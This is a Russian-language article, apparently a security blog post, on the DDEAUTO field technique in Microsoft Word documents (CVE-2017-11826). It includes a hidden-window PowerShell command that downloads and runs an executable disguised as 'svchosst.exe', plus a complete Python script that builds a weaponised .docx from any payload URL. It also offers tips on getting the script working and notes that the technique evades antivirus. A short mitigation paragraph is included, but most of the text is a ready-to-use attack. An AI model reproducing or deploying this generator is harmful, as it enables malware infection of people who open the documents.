tags: windows - malware
CVE-2017-11826. Описание, эксплоит и как защититься
Уязвимость CVE-2017-11826
позволяет внедрить в документ Microsoft Word произвольный код, который будет выполнен, при открытии документа.
Выполнение вредоносного кода возможно благодаря протоколу DDE
, устаревшего, но все еще используемого в большинстве продуктах Microsoft, в самой Windows в том числе (поэтому данный вектор атаки применим практически ко всем продуктам Microsoft). Данный протокол обеспечивает обмен сообщениями и данными между приложениями, его поддерживающими. Одним из таким приложений является Microsoft Word. Механизм DDE, в документах Word, используется в полях, которые имеют тип DDEAUTO. Другими словами, документ Word может общаться с другими DDE совместимыми приложениями по средствам полей. Поля в Microsoft Word можно создать с помощью нажатия Ctrl+F9.
Шаблон создания поля DDE
:
{DDEAUTO ВЫПОЛНЯЕМАЯ_ПРОГРАММА АРГУМЕНТЫ_ПРОГРАММЫ}
Постфикс AUTO
означает, что поле будет интерпретировано при открытии документа.
Все вышесказанное означает, что создав поле типа DDEAUTO
, мы можем запустить любую программу, с любыми аргументами.
Попробуем использовать данную особенность, чтобы скачать вредоносный файл и запустить его, без ведома жертвы. Для функций скачивания и запуска файла прекрасно подойдет powershell. Полностью, команда выглядит следующим образом:
c:\\windows\\system32\\cmd.exe "/k powershell -NoP -Sta -NonI -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://example.com/virus.exe',' %tmp%\svchosst.exe');Start-Process -WindowStyle Hidden '%tmp%\svchosst.exe'"
Как мы видим, используя метод DownloadFile
класса WebClient
, мы скачиваем файл по адресу http://example.com/virus.exe
, сохраняем во временную папку, и сразу же запускаем.
Описание параметров, используемых в нашей команде powershell:
-NoP (--NoProfile)
- Не использовать текущий профиль пользователя. Запрещает powershell’у использовать пользовательские скрипты, которые автоматически подгружаются при старте и могут влиять на работу нашего кода
-sta
- Запускает powershell в однопоточном режиме
-NonI (--NonInteractive)
- Отключает интерактивный режим
-WindowStyle Hidden
- Не показывать окно командной строки
Примечания: DownloadFile
скачивает, используя метод GET
.
Команда Start-Process
запускает скачанный exe-шник (если же файл будет иметь другое расширение, powershell будет пытаться открыть его стандартной, для такого расширения программой)
Для автоматизации был написан скрипт gen_word.py (листинг приведен в конце), который создает вредоносный файл Microsoft Word. На вход скрипт получает url вредоносного файла. На выходе - .docx файл, c DDEAUTO полем, внутри которого вышеописанная команда для скачивания и запуска файла. Справку по использованию скрипта можно получить передав параметр “-h”. Сгенерировав вредоносный Word документ и запустив, мы увидим следующее:
Такое окно нас встречает при открытии документа.
Суть текста данного предупреждения проста. Технология DDE
подразумевает взаимодействие приложений, как клиента и сервера, которые устанавливают соединение (link) между собой, для обмена данными. Клиентом в данном случае является наш документ Microsoft Word, а сервером то, что прописано в поле DDEAUTO. Существует два вида соединения. Первое, когда сервер обменивается данными с клиентом по готовности самих данных, второе, когда сервер уведомляет о готовности данных. Появившееся окно уведомляет нас о готовности данных на “сервере”, и готовы ли мы их получить. То есть, готовы ли мы начать выполнение команды, указанной в нашем поле.
Нажимаем Yes и видим следующее окно:
Текст гласит, что данные недоступны, это и верно, ведь никаких данных, мы и не собирались получать. И после того, как мы нажимаем Yes еще раз, наша вредоносная команда выполняется, вредоносный файл скачивается и запускается. После, появляется еще одно окно.
Данное предупреждение логично, ведь мы используем DDE
не по прямому назначению, а значит никаких данных от «сервера» мы не получили.
Способы защиты
В Microsoft Word 2016, необходимо открыть File - Options – Advanced
и снять галочку с Update automatic links at open
.
Выводы
Основная опасность атаки заключается в том, что механизм DDE
никак не связан с макросами. То есть, отключив макросы, вы все равно остаетесь уязвимы. Сам вредоносный код, использующий механизм DDE, располагается в полях документа, которые по умолчанию невидимы (Alt+F9
включает отображение). Не детектируется антивирусами. Практически все приложения Microsoft используют механизм DDE
.
Слабая сторона атаки - показ нескольких окон пользователю, при открытии зараженного документа. К тому же, сам текст выполняемой команды отображается в окне, что частично раскрывает наши планы. Гораздо хуже то, что при появлении окон, в фокусе, по умолчанию, выбрана кнопка No. Пользователь, который будет просто нажимать Enter, не будет подвержен атаки.
Список уязвимых продуктов Microsoft Office:
Word Automation Services
Microsoft Office Compatibility Pack Service Pack 3
Microsoft Office Online Server 2016
Microsoft Office Web Apps Server 2013 Service Pack 1
Microsoft Office Word Viewer
Microsoft Word 2016 (32-bit edition)
Microsoft Word 2007 Service Pack 3
Microsoft Word 2013 Service Pack 1 (64-bit editions)
Microsoft Word 2010 Service Pack 2 (64-bit editions)
Microsoft Word 2010 Service Pack 2 (64-bit editions)
Microsoft Word 2010 Service Pack 2 (32-bit editions)
Microsoft Word 2010 Service Pack 2 (32-bit editions)
Microsoft Word 2013 Service Pack 1 (32-bit editions)
Microsoft Word 2013 RT Service Pack 1
Microsoft Word 2016 (64-bit edition)
Microsoft SharePoint Enterprise Server 2016
Microsoft Office Web Apps Server 2010 Service Pack 2
Обновление, закрывающее уязвимость, было выпущенно 10 октября 2017 года.
Характеристики программного обеспечения, используемые при тестировании
Python 2.7.1, python-docx 0.3.0, Windows 10 Home 64-bit, Windows Defender, Word 2016 64-bit, Powershell 5.1.15063.674
Полезные ссылки:
Эксплоит
Найти вы его также можете на гитхабе
# ВНИМАНИЕ! Перед запуском, необходимо установить python-docx
# pip install python-docx
# -*- coding: utf-8 -*-
from docx import Document
from docx.oxml import parse_xml
from docx.oxml.ns import nsdecls
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="url for downloading a malicious file")
args = parser.parse_args()
document = Document()
paragraph = document.add_paragraph()
p = paragraph._p
fld_xml = '<w:fldSimple %s w:instr=" DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe "/k powershell -NoP -Sta -NonI -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('' + args.url + '',' %%tmp%%\\svchosst.exe');Start-Process -WindowStyle Hidden '%%tmp%%\\svchosst.exe'" "/>'
fld_xml = fld_xml % nsdecls('w')
fldSimple = parse_xml(fld_xml)
p.addnext(fldSimple)
document.save('DDE_pwned.docx')
Трудности возникшие при написании скрипта
Невозможность использования переменных $env:tmp
, $env:temp
, $env:userprofile
, прямых путей к временной директории, для сохранения скачанного файла.
Несмотря на то, что имя сохраняемого файла задано, как svchosst.exe
, сохраняется оно как Tempsvchosst.exe
.
Возможно эти проблемы связанны с особенностью запуска powershell’а из cmd, а его, с помощью механизма DDE
.